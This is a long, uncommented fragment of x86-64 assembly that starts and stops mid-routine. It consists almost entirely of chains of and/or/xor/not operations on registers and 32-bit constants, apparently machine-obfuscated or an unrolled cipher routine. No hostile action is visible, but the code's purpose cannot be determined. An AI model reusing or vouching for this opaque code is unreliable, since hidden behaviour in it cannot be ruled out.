xor ecx, 0x5dc84992
and ecx, r8d
mov edi, ecx
not edi
mov esi, eax
and esi, 0x73810197
and ebp, 0xc361e28
or ebp, esi
or eax, edi
and edi, 0x73810197
and ecx, 0x8c7efe68
or ecx, edi
xor ecx, ebp
not eax
or eax, ecx
mov ecx, edx
not ecx
and ecx, 0x7d48c02e
and edx, 0x82b73fd1
or edx, ecx
mov ecx, eax
not ecx
and ecx, 0x7d48c02e
and eax, 0x82b73fd1
or eax, ecx
xor eax, edx
mov ecx, r13d
and ecx, 0x6d1a921a
and r9d, 0x92e56de5
or r9d, ecx
or r13d, r8d
and r8d, 0x6d1a921a
and r10d, 0x92e56de5
or r10d, r8d
xor r10d, r9d
not r13d
or r13d, r10d
mov ecx, r13d
not ecx
and ecx, 0x1d46a001
and r13d, 0xe2b95ffe
or r13d, ecx
mov edx, r13d
xor edx, 0xa2281d4e
mov ecx, eax
not ecx
xor r13d, 0x1d46a001
mov ebp, ecx
and ebp, 0x559142b0
and eax, 0xaa6ebd4f
or eax, ebp
or ecx, r13d
and r13d, 0x559142b0
and edx, 0xaa6ebd4f
or edx, r13d
xor edx, eax
not ecx
or ecx, edx
mov edx, ecx
mov eax, ecx
xor eax, 0xf550623e
and eax, ecx
not ecx
and ecx, 0x14004206
and edx, 0xe1502038
or edx, ecx
xor edx, 0xe1502038
mov ecx, edx
and ecx, eax
xor eax, edx
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0xaaf9dc1
and eax, 0xf550623e
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0xcc3cc93
and eax, 0xf33c336c
or eax, ecx
mov ecx, eax
xor ecx, 0x802c0260
xor eax, 0xc028c01
and eax, 0x7f12bd0d
and ecx, 0x80ed42f2
or ecx, eax
mov edx, ecx
xor edx, 0x18008109
xor ecx, 0x610230
and ecx, 0x67733e34
and edx, 0x988cc1cb
or edx, ecx
mov ecx, edx
xor ecx, 0x90880008
mov ebx, r11d
not ebx
xor edx, 0x67733e34
mov r10d, ebx
or r10d, edx
mov eax, r10d
not eax
and ebx, 0x4c34cdd7
and r11d, 0xb3cb3228
or r11d, ebx
and edx, 0x4c34cdd7
and ecx, 0xb3cb3228
or ecx, edx
xor ecx, r11d
mov edx, ecx
not edx
mov ebp, r10d
and ebp, 0xe413d44c
and eax, 0x1bec2bb3
or eax, ebp
or r10d, edx
and edx, 0xe413d44c
and ecx, 0x1bec2bb3
or ecx, edx
xor ecx, eax
not r10d
or r10d, ecx
mov r8d, r10d
not r8d
mov eax, r8d
and eax, r10d
mov ecx, r8d
and ecx, eax
xor eax, r8d
or eax, ecx
mov edx, eax
not edx
and eax, 0x1d5dd599
and edx, 0xe2a22a66
or edx, eax
mov ebx, edx
xor ebx, 0x40202046
mov edi, edx
xor edi, 0x1d5dd599
mov eax, r8d
and eax, 0xf1afac8
mov ecx, r10d
and ecx, 0xf0e50537
or ecx, eax
mov eax, ecx
xor eax, 0xf0e50537
xor ecx, 0xf1afac8
or ecx, eax
mov esi, ecx
not esi
and ecx, 0x9796a585
mov eax, esi
and eax, 0x68695a7a
or eax, ecx
mov ebp, eax
xor ebp, 0x68695a7a
xor edx, 0x4028e5cf
and edx, edi
and ebx, 0x5d753056
xor eax, 0x351c6a2c
and eax, ebp
and esi, 0x5d753056
mov ecx, edx
and ecx, ebx
xor ebx, edx
or ebx, ecx
mov ecx, eax
and ecx, esi
xor esi, eax
or esi, ecx
mov eax, ebx
not eax
and eax, esi
not esi
and esi, ebx
or esi, eax
mov eax, edi
and eax, ebp
xor ebp, edi
or ebp, eax
mov eax, ebp
not eax
and eax, 0x799efe05
and ebp, 0x866101fa
or ebp, eax
xor ebp, 0x866101fa
mov eax, esi
and eax, ebp
xor ebp, esi
or ebp, eax
mov eax, ebp
not eax
and eax, 0x25f41f51
and ebp, 0xda0be0ae
or ebp, eax
mov eax, ebp
not eax
and eax, 0x4099ba63
and ebp, 0xbf66459c
or ebp, eax
mov eax, ebp
xor eax, 0x9a925acd
mov ecx, ebp
xor ecx, 0x656da532
xor ebp, 0x2dc1d889
and ecx, ebp
and ebp, eax
mov edx, ecx
not edx
mov eax, ebp
not eax
mov ebx, edx
and ebx, 0x96a8f85c
and ecx, 0x695707a3
or ecx, ebx
or edx, eax
and eax, 0x96a8f85c
and ebp, 0x695707a3
or ebp, eax
xor ebp, ecx
not edx
or edx, ebp
mov eax, edx
not eax
and eax, 0x4b29bcdc
and edx, 0xb4d64323
or edx, eax
mov r11d, edx
xor r11d, 0xfc7a3e98
mov eax, r10d
and eax, 0xc3154253
mov ebp, r8d
and ebp, 0x3ceabdac
or ebp, eax
mov eax, ebp
xor eax, 0x80044010
xor ebp, 0x3ceabdac
mov ecx, ebp
and ecx, 0x739903e7
and eax, 0x8c66fc18
or eax, ecx
mov ebx, r10d
and ebx, 0x739903e7
mov ecx, r8d
and ecx, 0x8c66fc18
or ecx, ebx
xor ecx, eax
not ecx
or ecx, ebp
mov esi, ecx
not esi
mov edi, r11d
and edi, ecx
mov eax, r11d
xor eax, ecx
or eax, edi
mov ebp, eax
not ebp
and ebp, 0xdb0fde2b
and eax, 0x24f021d4
or eax, ebp
mov r9d, eax
mov edi, eax
xor r9d, 0x24f021d4
mov eax, r11d
and eax, 0x12430135
and edx, 0x44002088
or edx, eax
mov ebp, edx
xor ebp, 0x40002080
xor edx, 0x81191523
or r11d, 0x564321bd
mov ebx, r11d
not ebx
mov eax, ecx
and eax, 0xa838503e
and esi, 0x57c7afc1
or esi, eax
mov eax, esi
xor eax, 0x57c7afc1
xor esi, 0xfe7b7183
and esi, eax
or ecx, 0x564321bd
mov eax, ecx
not eax
and edx, 0x8519152b
and ebp, 0x52422094
or ebp, edx
and r11d, 0x8519152b
and ebx, 0x28a4ca40
or ebx, r11d
xor ebx, ebp
mov edx, esi
not edx
mov ebp, edx
and ebp, 0x7f5c3122
and esi, 0x80a3cedd
or esi, ebp
or edx, ecx
and ecx, 0x7f5c3122
and eax, 0x80a0ce40
or eax, ecx
xor eax, esi
not edx
or edx, eax
mov eax, ebx
not eax
and eax, edx
not edx
and edx, ebx
or edx, eax
xor edi, 0xdb0fde2b
mov eax, edx
not eax
and edx, edi
or edi, eax
mov ecx, edi
not ecx
and eax, r9d
or eax, edx
mov edx, eax
not edx
mov ebp, edi
and ebp, 0x710ade2c
and ecx, 0x8ef521d3
or ecx, ebp
or edi, edx
and edx, 0x710ade2c
and eax, 0x8ef521d3
or eax, edx
xor eax, ecx
not edi
or edi, eax
mov ecx, edi
not ecx
mov eax, ecx
mov edx, ecx
and eax, 0x80c2940
mov ecx, edi
and ecx, 0x31610035
or ecx, eax
mov ebp, ecx
xor ebp, 0x31610035
xor ecx, 0x882d6c0
mov eax, edx
mov esi, edx
mov dword [rsp + 0x38], edx
and eax, 0x386c1e0c
mov edx, edi
and edx, 0xc793e1f3
or edx, eax
mov eax, edx
xor eax, 0x1012171
and eax, 0x396d2975
xor edx, 0xfefec886
or edx, eax
mov ebx, edx
not ebx
mov eax, ebp
xor eax, edx
and eax, ebp
and ecx, 0x3882d6e4
and ebp, 0x16d2911
or ebp, ecx
and edx, 0x3882d6e4
and ebx, 0xc77d291b
or ebx, edx
xor ebx, ebp
mov ebp, eax
not ebp
mov edx, ebx
not edx
mov ecx, ebp
and ecx, 0xe7e56f0e
and eax, 0x18080071
or eax, ecx
or ebp, edx
and edx, 0xe7e56f0e
and ebx, 0x181a90f1
or ebx, edx
xor ebx, eax
not ebp
or ebp, ebx
mov eax, esi
and eax, 0x21630101
mov dword [rsp + 0x44], edi
mov edx, edi
and edx, 0x98108442
or edx, eax
xor edx, 0x98108442
mov eax, edi
and eax, 0x468c7abc
or eax, edx
mov edx, eax
not edx
and edx, 0x468c7abc
and eax, 0xb9738543
or eax, edx
mov ebx, ebp
not ebx
mov edx, ebx
and edx, 0xa05000
mov ecx, ebp
and ecx, 0x87100b21
or ecx, edx
xor ecx, 0x87100b21
and ebp, 0x784fa4de
or ebp, ecx
mov r9d, eax
xor r9d, 0x87b05b21
and r9d, eax
not eax
and eax, 0x87b05b21
mov ecx, eax
and ecx, r9d
xor r9d, eax
or r9d, ecx
mov eax, ebp
not eax
and eax, r9d
not r9d
and r9d, ebp
or r9d, eax
mov eax, r9d
not eax
and eax, 0x5433daaf
and r9d, 0xabcc2550
or r9d, eax
xor r9d, 0xabcc2550
mov eax, r9d
and eax, ebx
xor r9d, ebx
or r9d, eax
mov eax, r9d
not eax
and eax, 0xcb39bddf
and r9d, 0x34c64220
or r9d, eax
mov r12d, r9d
xor r12d, 0x34c64220
and r8d, 0xf34cbcff
and r10d, 0xcb34300
or r10d, r8d
mov eax, r10d
not eax
and eax, 0x896a43c3
and r10d, 0x7695bc3c
or r10d, eax
mov eax, r10d
xor eax, 0x1100040
xor r10d, 0x7802051c
and r10d, 0xfccb059f
and eax, 0x334fa60
or eax, r10d
mov ecx, eax
xor ecx, 0x3005260
xor eax, 0x70000097
and eax, 0x7034a897
and ecx, 0x8fcb5768
or ecx, eax
mov eax, ecx
xor eax, 0x7034a897
xor ecx, 0x8fcb5768
mov edx, eax
and edx, ecx
and eax, 0xf9ef29b9
and ecx, 0x610d646
or ecx, eax
xor ecx, 0xf9ef29b9
mov eax, edx
and eax, ecx
xor ecx, edx
or ecx, eax
mov edi, ecx
not edi
mov eax, edi
and eax, 0x1170c140
mov edx, ecx
and edx, 0x2000631
or edx, eax
xor edx, 0x2000631
mov ebp, ecx
xor ebp, 0x1370c771
and ebp, ecx
mov eax, edx
and eax, ebp
xor ebp, edx
or ebp, eax
mov edx, ebp
not edx
and edx, 0xec8f388e
and ebp, 0x1370c771
or ebp, edx
mov r8d, ebp
not r8d
mov edx, r8d
and edx, 0x8fd354b1
mov eax, ebp
and eax, 0x702cab4e
or eax, edx
xor eax, 0x32be158a
mov esi, eax
xor esi, r8d
and esi, eax
and edi, 0x6dc21553
and ecx, 0x923deaac
or ecx, edi
mov eax, ecx
xor eax, 0x210aa84
and eax, 0x4292bec4
xor ecx, 0xd0af5468
or ecx, eax
mov eax, ecx
not eax
and eax, 0x660d324e
and ecx, 0x99f2cdb1
or ecx, eax
mov edx, ecx
xor edx, 0x88d28530
xor ecx, 0x660d324e
mov eax, esi
xor eax, ecx
and eax, esi
mov ebx, esi
not ebx
and ebx, 0x57245ac9
and esi, 0xa8dba536
or esi, ebx
and ecx, 0x57245ac9
and edx, 0xa8dba536
or edx, ecx
xor edx, esi
mov ecx, eax
and ecx, edx
xor edx, eax
or edx, ecx
mov eax, edx
not eax
mov ebx, eax
or ebx, 0xad578952
mov r11d, ebx
not r11d
or edx, 0x42a80425
and edx, 0xe6ba0435
and eax, 0x9458942
or eax, edx
and ebx, 0xe6ba0435
and r11d, 0x10007288
or r11d, ebx
xor r11d, eax
mov eax, r11d
not eax
and eax, 0xd5353d3e
and r11d, 0x2acac2c1
or r11d, eax
mov ebx, r11d
xor ebx, 0xfc62dc22
mov eax, ebp
and eax, 0x396d2975
and r8d, 0x5c335b98
and ebp, 0xa3cca467
or ebp, r8d
xor ebp, 0x655e72ed
mov edx, eax
and edx, ebp
xor ebp, eax
or ebp, edx
mov eax, ebp
not eax
and eax, 0x10685986
and ebp, 0xef97a679
or ebp, eax
mov eax, ebp
xor eax, 0x66950048
xor ebp, 0x685802
and ebp, 0x896afe33
and eax, 0x769501cc
or eax, ebp
mov edx, eax
xor edx, 0x922ca00
xor eax, 0x4415018c
and edx, 0x3ba2ca40
and eax, 0xc45d35bf
or eax, edx
mov esi, eax
xor esi, 0x2a28800
xor eax, 0xc05925b4
and eax, 0xf95967f4
and esi, 0x6a6980b
or esi, eax
mov edx, esi
xor edx, 0x6a6980b
mov ebp, r11d
xor ebp, 0x110381
and ebp, 0x20539f83
xor r11d, 0xdaee540d
and r11d, ebx
mov eax, ebx
and eax, 0xdfac607c
or eax, ebp
mov r8d, eax
xor r8d, 0xdfac607c
xor esi, 0x20480710
and esi, 0x206c9712
mov ebp, edx
and ebp, 0xdf9368ed
or ebp, esi
mov r10d, ebp
xor r10d, 0xdf9368ed
mov edi, eax
xor edi, 0x6df17ac
and edi, r8d
xor ebp, 0x206c9712
mov ebx, r10d
and ebx, 0x268c882f
and edx, 0xd97377d0
or edx, ebx
mov esi, edi
not esi
mov ecx, r11d
not ecx
mov ebx, esi
and ebx, 0x5f2fe06c
and edi, 0xa0d01f93
or edi, ebx
or esi, ecx
and ecx, 0x5f2fe06c
and r11d, 0xa0d01f93
or r11d, ecx
xor r11d, edi
not esi
or esi, r11d
mov ecx, esi
not ecx
and ecx, 0x431665cf
and esi, 0xbce99a30
or esi, ecx
mov ecx, edx
not ecx
and ecx, 0x431665cf
and edx, 0xbce99a30
or edx, ecx
xor edx, esi
xor eax, 0x20539f83
mov ecx, eax
and ecx, 0x68b83354
and r8d, 0x9747ccab
or r8d, ecx
or eax, ebp
and ebp, 0x68b83354
and r10d, 0x9747ccab
or r10d, ebp
xor r10d, r8d
not eax
or eax, r10d
mov ecx, eax
not ecx
and ecx, 0x7e4e6075
and eax, 0x81b19f8a
or eax, ecx
xor eax, 0x81b19f8a
mov ecx, edx
and ecx, eax
xor eax, edx
or eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0xefafa237
and ecx, eax
and eax, 0x10505dc8
or eax, edx
xor eax, 0x10505dc8
mov edx, eax
and edx, ecx
xor eax, ecx
or eax, edx
mov ecx, eax
not ecx
and ecx, 0x332f9597
and eax, 0xccd06a68
or eax, ecx
mov edx, eax
xor edx, 0xc0004008
xor eax, 0x21200593
and eax, 0x2df02ff3
and edx, 0xd20fd00c
or edx, eax
mov ecx, edx
xor ecx, 0xd20fd00c
xor edx, 0x2df02ff3
mov eax, edx
and eax, ecx
and edx, 0x7f3f601c
and ecx, 0x80c09fe3
or ecx, edx
xor ecx, 0x7f3f601c
mov edx, eax
and edx, ecx
xor ecx, eax
or ecx, edx
mov edx, ecx
not edx
mov ebp, edx
or ebp, 0x25b8686c
mov eax, ebp
not eax
or ecx, 0x88409490
and ecx, 0xa850bcfc
and edx, 0x5a84000
or edx, ecx
and ebp, 0xa850bcfc
and eax, 0x52070303
or eax, ebp
xor eax, edx
mov ecx, eax
not ecx
and ecx, 0x6b9ff0fa
and eax, 0x94600f05
or eax, ecx
mov ecx, eax
xor ecx, 0xa1482149
xor eax, 0x4e279896
mov edx, eax
and edx, 0x5a96dea2
and ecx, 0xa569215d
or ecx, edx
mov edi, ecx
xor edi, 0xa569215d
mov edx, ecx
xor edx, 0xaf1e94d1
and edx, edi
or eax, 0xf5884a73
mov ebx, eax
not ebx
mov ebp, edx
not ebp
mov esi, ebp
and esi, 0x65be706d
and edx, 0x9a418f92
or edx, esi
or ebp, eax
and eax, 0x65be706d
and ebx, 0xa418580
or ebx, eax
xor ebx, edx
not ebp
or ebp, ebx
mov eax, ebp
not eax
and eax, 0xf5884a73
and ebp, 0xa77b58c
or ebp, eax
xor ecx, 0x4806c882
and ecx, 0xcc0ee8d3
mov ebx, edi
and ebx, 0x33f1172c
or ebx, ecx
xor ebx, 0x33f1172c
or ebx, edi
mov eax, ebx
not eax
and eax, 0x428f1a7b
and ebx, 0xbd70e584
or ebx, eax
xor ebx, 0xbd70e584
mov eax, ebp
and eax, ebx
xor ebx, ebp
or ebx, eax
mov eax, ebx
not eax
and ebx, eax
mov ecx, eax
and ecx, ebx
xor ebx, eax
or ebx, ecx
mov r10d, ebx
not r10d
mov ecx, r10d
and ecx, 0x2ea17990
and ebx, 0xd15e866f
or ebx, ecx
xor ebx, 0x2ea17990
xor r10d, ebx
and r10d, ebx
mov r13d, r9d
xor r13d, 0xcb39bddf
mov ecx, r13d
and ecx, 0x168012a0
mov ebp, r12d
and ebp, 0x6802400c
or ebp, ecx
mov ecx, ebp
xor ecx, 0x68020004
xor ebp, 0x80f9b022
mov ebx, r13d
or ebx, 0x7e8252ac
mov edx, ebx
not edx
and ebp, 0x80f9f02a
and ecx, 0x7e020284
or ecx, ebp
and ebx, 0x80f9f02a
and edx, 0x1040d51
or edx, ebx
xor edx, ecx
mov ecx, edx
not ecx
and ecx, 0xf1f51814
and edx, 0xe0ae7eb
or edx, ecx
mov ecx, edx
xor ecx, 0x20809542
xor edx, 0x410880
and edx, 0x50492885
and ecx, 0xafb6d77a
or ecx, edx
mov edx, ecx
xor edx, 0xafb6d77a
xor ecx, 0x50492885
mov ebp, r13d
and ebp, 0x49a07792
mov eax, r12d
and eax, 0xb65f886d
or eax, ebp
mov ebp, eax
xor ebp, 0xb65f886d
xor eax, 0x49a07792
or eax, ebp
mov ebp, eax
not ebp
and ebp, edx
mov edx, ecx
xor edx, eax
and edx, ecx
and eax, ecx
or eax, ebp
mov ecx, edx
and ecx, eax
xor eax, edx
or eax, ecx
mov r14d, eax
mov r8d, r10d
not r8d
mov ecx, r8d
and ecx, 0x6602882a
mov edx, r10d
and edx, 0x99fd77d5
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0x99fd77d5
and edx, 0x6602882a
or edx, ecx
mov ecx, edx
not ecx
and edx, 0xaec4192
and ecx, 0xf513be6d
or ecx, edx
mov esi, ecx
xor esi, 0x2684080
xor ecx, 0xf0128224
and ecx, 0xf8968336
and esi, 0x7697cc9
or esi, ecx
mov ecx, esi
xor ecx, 0x7697cc9
mov edx, esi
xor edx, 0x98040022
mov eax, r10d
and eax, 0x3d4ff80c
mov ebx, r8d
and ebx, 0xc2b007f3
or ebx, eax
xor ebx, 0xc2b007f3
or ebx, r8d
and edx, 0x9a6c5c62
xor esi, 0x77144462
and esi, ecx
mov ebp, ecx
and ebp, 0x6593a39d
or ebp, edx
xor ebp, 0x6593a39d
mov edx, ebp
mov edi, ebx
xor edi, 0x8f82c754
mov r11d, edi
and r11d, ebx
mov eax, ebp
and eax, ebx
xor ebp, ebx
not ebx
and edx, 0x707d38ab
and edi, ebx
mov ecx, edx
and ecx, esi
xor esi, edx
or esi, ecx
mov ecx, r11d
and ecx, edi
xor edi, r11d
or edi, ecx
mov ecx, esi
not ecx
and ecx, 0x2d0c2336
and esi, 0xd2f3dcc9
or esi, ecx
mov ecx, edi
not ecx
and ecx, 0x2d0c2336
and edi, 0xd2f3dcc9
or edi, ecx
xor edi, esi
or ebp, eax
mov eax, ebp
not eax
and eax, 0x7ad2195
and ebp, 0xf852de6a
or ebp, eax
xor ebp, 0xf852de6a
mov eax, edi
and eax, ebp
xor ebp, edi
or ebp, eax
mov edi, ebp
mov eax, r14d
not eax
mov ebp, eax
mov dword [rsp + 0x40], eax
mov esi, r14d
or esi, 0x3d451ace
mov eax, esi
not eax
mov ecx, r14d
xor ecx, 0xc2bae531
and ecx, r14d
mov edx, ecx
not edx
mov ebx, esi
and ebx, 0x85c81adf
and eax, 0x4232e520
or eax, ebx
or esi, edx
and edx, 0x85c81adf
and ecx, 0x7a37e520
or ecx, edx
xor ecx, eax
not esi
or esi, ecx
mov eax, esi
not eax
mov ecx, esi
and ecx, 0xf3c8551
and eax, 0xf0c37aae
or eax, ecx
mov dword [rsp + 0x54], r14d
mov ecx, r14d
and ecx, 0xf3c8551
mov edx, ebp
and edx, 0xf0c37aae
or edx, ecx
xor edx, eax
or esi, r14d
not esi
or esi, edx
mov eax, esi
not eax
and eax, 0xb80f9ef7
and esi, 0x47f06108
or esi, eax
mov r15d, esi
xor r15d, 0x47f06108
xor esi, 0xb80f9ef7
mov eax, r13d
and eax, 0x3d451ace
xor r9d, 0x98358ee
and r9d, r12d
mov ecx, eax
and ecx, r9d
xor r9d, eax
or r9d, ecx
mov eax, r9d
not eax
and eax, 0xc1d52afa
and r9d, 0x3e2ad505
or r9d, eax
xor r9d, 0x3e2ad505
and r13d, 0x5ac7f14
mov r14d, r12d
and r14d, 0xfa5380eb
or r14d, r13d
xor r14d, 0xfa5380eb
mov eax, r9d
and eax, r14d
xor r14d, r9d
or r14d, eax
mov r13d, edi
mov dword [rsp + 0x34], edi
mov eax, edi
not eax
mov ecx, eax
mov dword [rsp + 0x5c], eax
and ecx, 0xc2004430
mov edx, edi
and edx, 0xbaa101
or edx, ecx
xor edx, 0xbaa101
mov ecx, edi
xor ecx, 0xc2bae531
and ecx, edi
mov ebp, edx
and ebp, ecx
xor ecx, edx
mov edx, r14d
not edx
or ecx, ebp
not ecx
and eax, 0x90196ce8
and r13d, 0x6fe69317
or r13d, eax
xor r13d, 0x6fe69317
mov eax, ecx
and eax, r13d
xor r13d, ecx
or r13d, eax
mov eax, r13d
not eax
and eax, 0xd68fb703
and r13d, 0x297048fc
or r13d, eax
mov eax, r8d
and eax, 0xe90391b8
mov ecx, r10d
and ecx, 0x16fc6e47
or ecx, eax
mov eax, ecx
not eax
and eax, 0x52993053
and ecx, 0xad66cfac
or ecx, eax
mov eax, ecx
xor eax, 0x68d9325
and r8d, 0xf5fd05fa
and r10d, 0xa02fa05
or r10d, r8d
xor ecx, 0x792044da
mov ebx, ecx
and ebx, 0xb8526c08
and eax, 0x47ad93f7
or eax, ebx
mov ebp, r10d
xor ebp, 0x2009205
xor r10d, 0xb0500408
and r10d, 0xb8526c08
and ebp, 0x47ad93f7
or ebp, r10d
xor ebp, eax
not ebp
or ebp, ecx
mov eax, r15d
and eax, 0x6add95d4
mov ecx, esi
and ecx, 0xad19d623
and r15d, 0x52e629dc
or r15d, ecx
xor r15d, 0xd393f3e3
or r15d, esi
mov ebx, esi
and ebx, 0x95226a2b
or ebx, eax
mov esi, r14d
and esi, edx
mov eax, r14d
and eax, esi
xor esi, r14d
or esi, eax
mov ecx, ebx
xor ecx, 0x95226a2b
mov dword [rsp + 0x50], ecx
and ecx, 0x7e8a25c0
mov eax, ebx
xor eax, 0xeba84feb
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0x26a4fe08
and eax, 0xd95b01f7
or eax, ecx
mov edi, esi
not edi
mov dword [rsp + 0x58], edi
and edi, 0xf4bdc521
mov r12d, esi
and r12d, 0xb423ade
or r12d, edi
mov ecx, r14d
and ecx, 0x4e56fde5
and edx, 0xb1a9021a
or edx, ecx
xor edx, 0xcf2327da
xor r14d, edx
and r14d, edx
mov edx, eax
xor edx, 0x980301f5
xor eax, 0x26a4fe08
mov ecx, eax
and ecx, 0x4778ea0a
and edx, 0xb88715f5
or edx, ecx
mov r11d, edx
xor edx, 0x4778ea0a
mov ecx, edx
or ecx, 0xb2cec30d
mov r9d, ecx
not r9d
and ecx, 0x67f13a08
and r9d, 0x80004f2
or r9d, ecx
or eax, 0x4d313cf2
mov r8d, eax
not r8d
and eax, 0x67f13a08
and r8d, 0x900ec105
or r8d, eax
xor r8d, r9d
mov r10d, r15d
xor r10d, 0xb2cec30d
mov ecx, r10d
and ecx, r15d
mov r9d, ecx
not r9d
mov eax, r9d
and eax, 0x7516be64
and ecx, 0x8ae9419b
or ecx, eax
mov edi, r15d
not edi
and r10d, edi
mov eax, r10d
not eax
or r9d, eax
and eax, 0x7516be64
and r10d, 0x8ae9419b
or r10d, eax
xor r10d, ecx
not r9d
or r9d, r10d
mov eax, r8d
not eax
and eax, r9d
not r9d
and r9d, r8d
or r9d, eax
xor r11d, 0x10061501
mov eax, edx
and eax, 0xaab9a0f4
and r11d, 0x55465f0b
or r11d, eax
or edx, edi
and edi, 0xaab9a0f4
and r15d, 0x55465f0b
or r15d, edi
xor r15d, r11d
not edx
or edx, r15d
mov eax, edx
not eax
and eax, 0x9c032387
and edx, 0x63fcdc78
or edx, eax
xor edx, 0x63fcdc78
mov eax, r9d
and eax, edx
xor edx, r9d
or edx, eax
xor r12d, 0x75c81f1e
mov r9d, dword [rsp + 0x58]
or r12d, r9d
mov ecx, r12d
not ecx
mov eax, r12d
and r12d, 0xda9acde5
and ecx, 0x2565321a
or ecx, r12d
mov edi, r14d
not edi
or eax, edi
and edi, 0xda9acde5
and r14d, 0x2565321a
or r14d, edi
xor r14d, ecx
mov ecx, eax
not ecx
mov edi, eax
and edi, 0xceeb98c3
and ecx, 0x3114673c
or ecx, edi
mov edi, r14d
not edi
or eax, edi
and edi, 0xceeb98c3
and r14d, 0x3114673c
or r14d, edi
xor r14d, ecx
not eax
or eax, r14d
mov ecx, edx
not ecx
and ecx, 0xb715386d
and edx, 0x48eac792
or edx, ecx
mov r14d, eax
xor r14d, 0xb715386d
and r14d, eax
mov ecx, eax
not eax
and eax, 0x711284d
and ecx, 0xb0041020
or ecx, eax
xor ecx, 0xb0041020
mov eax, ecx
and eax, r14d
xor r14d, ecx
or r14d, eax
mov eax, edx
not eax
and eax, r14d
not r14d
and r14d, edx
mov edx, ebx
xor edx, 0x6add95d4
or r14d, eax
mov eax, dword [rsp + 0x50]
and eax, 0x616d2642
xor ebx, 0xaf403e37
and ebx, edx
and edx, 0x9e92d9bd
or edx, eax
mov r8d, edx
xor r8d, 0x9e92d9bd
mov ecx, edx
xor ecx, 0xa4f08da1
and ecx, r8d
mov edi, ecx
and edi, ebx
xor ebx, ecx
or ebx, edi
mov edi, r9d
and edi, 0xc59dabe3
mov ecx, esi
xor ecx, 0xc59dabe3
and ecx, esi
mov eax, edi
and eax, ecx
xor ecx, edi
or ecx, eax
mov eax, ebx
not eax
and eax, ecx
not ecx
and ecx, ebx
or ecx, eax
xor edx, 0x616d2642
mov eax, edx
and eax, 0xdba4a073
and r8d, 0x245b5f8c
or r8d, eax
mov r12d, r13d
xor r12d, 0x297048fc
xor r13d, 0xd68fb703
or edx, esi
and esi, 0xdba4a073
mov eax, r9d
and eax, 0x245b5f8c
or eax, esi
mov r9d, ebp
not r9d
xor eax, r8d
not edx
or edx, eax
not edx
mov eax, ecx
and eax, edx
xor edx, ecx
or edx, eax
mov eax, edx
not eax
mov ecx, eax
and ecx, edx
mov ebx, edx
and ebx, 0x87ee2b99
and eax, 0x7811d466
or eax, ebx
mov ebx, ecx
not ebx
or edx, ebx
and ebx, 0x87ee2b99
and ecx, 0x7811d466
or ecx, ebx
xor ecx, eax
not edx
or edx, ecx
mov eax, edx
not eax
and eax, 0x5c56c266
and edx, 0xa3a93d99
or edx, eax
mov eax, edx
xor eax, 0x21800819
xor edx, 0xc064240
and edx, 0x8e2f77c0
and eax, 0x71d0883f
or eax, edx
mov r8d, eax
xor r8d, 0x8e2f77c0
xor eax, 0x71d0883f
mov ecx, r14d
xor ecx, r8d
and ecx, r14d
and r8d, r14d
not r14d
and r14d, eax
or r8d, r14d
mov eax, ecx
and eax, r8d
xor r8d, ecx
or r8d, eax
mov eax, r13d
and eax, 0x866ab1e6
mov esi, r12d
and esi, 0x79954e19
or esi, eax
mov eax, esi
not eax
and eax, 0xe164fc88
and esi, 0x1e9b0377
or esi, eax
mov eax, ebp
and eax, 0xcc16a334
mov ecx, r9d
and ecx, 0x33e95ccb
or ecx, eax
mov eax, ecx
xor eax, 0x10041
xor ecx, 0x8060000
mov edi, ebp
or edi, 0x8a272345
or ecx, 0x34c08400
and ecx, 0x3ee68400
and eax, 0x80012345
or eax, ecx
mov ecx, edi
not ecx
and edi, 0x3ee68400
and ecx, 0x411858ba
or ecx, edi
xor ecx, eax
mov eax, ecx
not eax
and eax, 0x572930e0
and ecx, 0xa8d6cf1f
or ecx, eax
mov r14d, esi
xor r14d, 0x670e4d6e
mov eax, r14d
and eax, 0xae66885b
mov r10d, esi
xor esi, 0xc968c535
or esi, eax
and r12d, 0xe0ea6f62
mov eax, r13d
and eax, 0x1f15909d
or eax, r12d
xor eax, 0xb17318c6
and r13d, 0x519977a4
or r13d, eax
mov r12d, ecx
xor r12d, 0xdd0e13a5
mov edx, r12d
and edx, 0xae66885b
mov r11d, ecx
xor ecx, 0x73689bfe
or ecx, edx
mov edx, ebp
and edx, 0x519977a4
and r9d, 0xae66885b
or r9d, edx
xor ebp, r9d
and ebp, r9d
mov ebx, esi
not ebx
mov edx, ebx
xor edx, r13d
and edx, ebx
and esi, 0xf75319a5
and ebx, 0x8ace65a
or ebx, esi
mov edi, r13d
not edi
and r13d, 0xf75319a5
and edi, 0x8ace65a
or edi, r13d
xor edi, ebx
mov ebx, edx
not ebx
mov esi, ebx
and esi, 0x33b94be6
and edx, 0xcc46b419
or edx, esi
mov esi, edi
not esi
or ebx, esi
and esi, 0x33b94be6
and edi, 0xcc46b419
or edi, esi
xor edi, edx
not ebx
or ebx, edi
mov edx, ecx
not edx
mov edi, ecx
and ecx, 0x20a264f7
and edx, 0xdf5d9b08
or edx, ecx
mov ecx, ebp
not ecx
or edi, ecx
and ecx, 0x20a264f7
and ebp, 0xdf5d9b08
or ebp, ecx
xor ebp, edx
mov ecx, edi
not ecx
mov edx, edi
and edx, 0xca6b2222
and ecx, 0x3594dddd
or ecx, edx
mov edx, ebp
not edx
or edi, edx
and edx, 0xca6b2222
and ebp, 0x3594dddd
or ebp, edx
xor ebp, ecx
not edi
or edi, ebp
mov esi, edi
not esi
mov edx, esi
and edx, 0xd0c15c5e
and edi, 0x2f3ea3a1
or edi, edx
xor edi, ebx
or esi, ebx
mov ebp, esi
not ebp
xor edi, 0xd0c15c5e
and edi, ebx
mov edx, esi
and edx, 0x66281c79
and ebp, 0x99d7e386
or ebp, edx
mov edx, edi
not edx
or esi, edx
and edx, 0x66281c79
and edi, 0x99d7e386
or edi, edx
mov r9d, dword [rsp + 0x5c]
mov ebx, r9d
and ebx, 0x92495ff1
mov eax, dword [rsp + 0x34]
mov r13d, eax
and eax, 0x6db6a00e
or eax, ebx
not eax
or eax, r9d
mov dword [rsp + 0x34], eax
xor r10d, 0x8610291
xor r11d, 0x22614412
xor edi, ebp
not esi
or esi, edi
mov ebp, r14d
or ebp, r12d
not ebp
and r14d, 0x9090b94c
and r10d, 0x6f6f46b3
or r10d, r14d
and r12d, 0x9090b94c
and r11d, 0x6f6f46b3
or r11d, r12d
xor r11d, r10d
mov ebx, ebp
and ebx, r11d
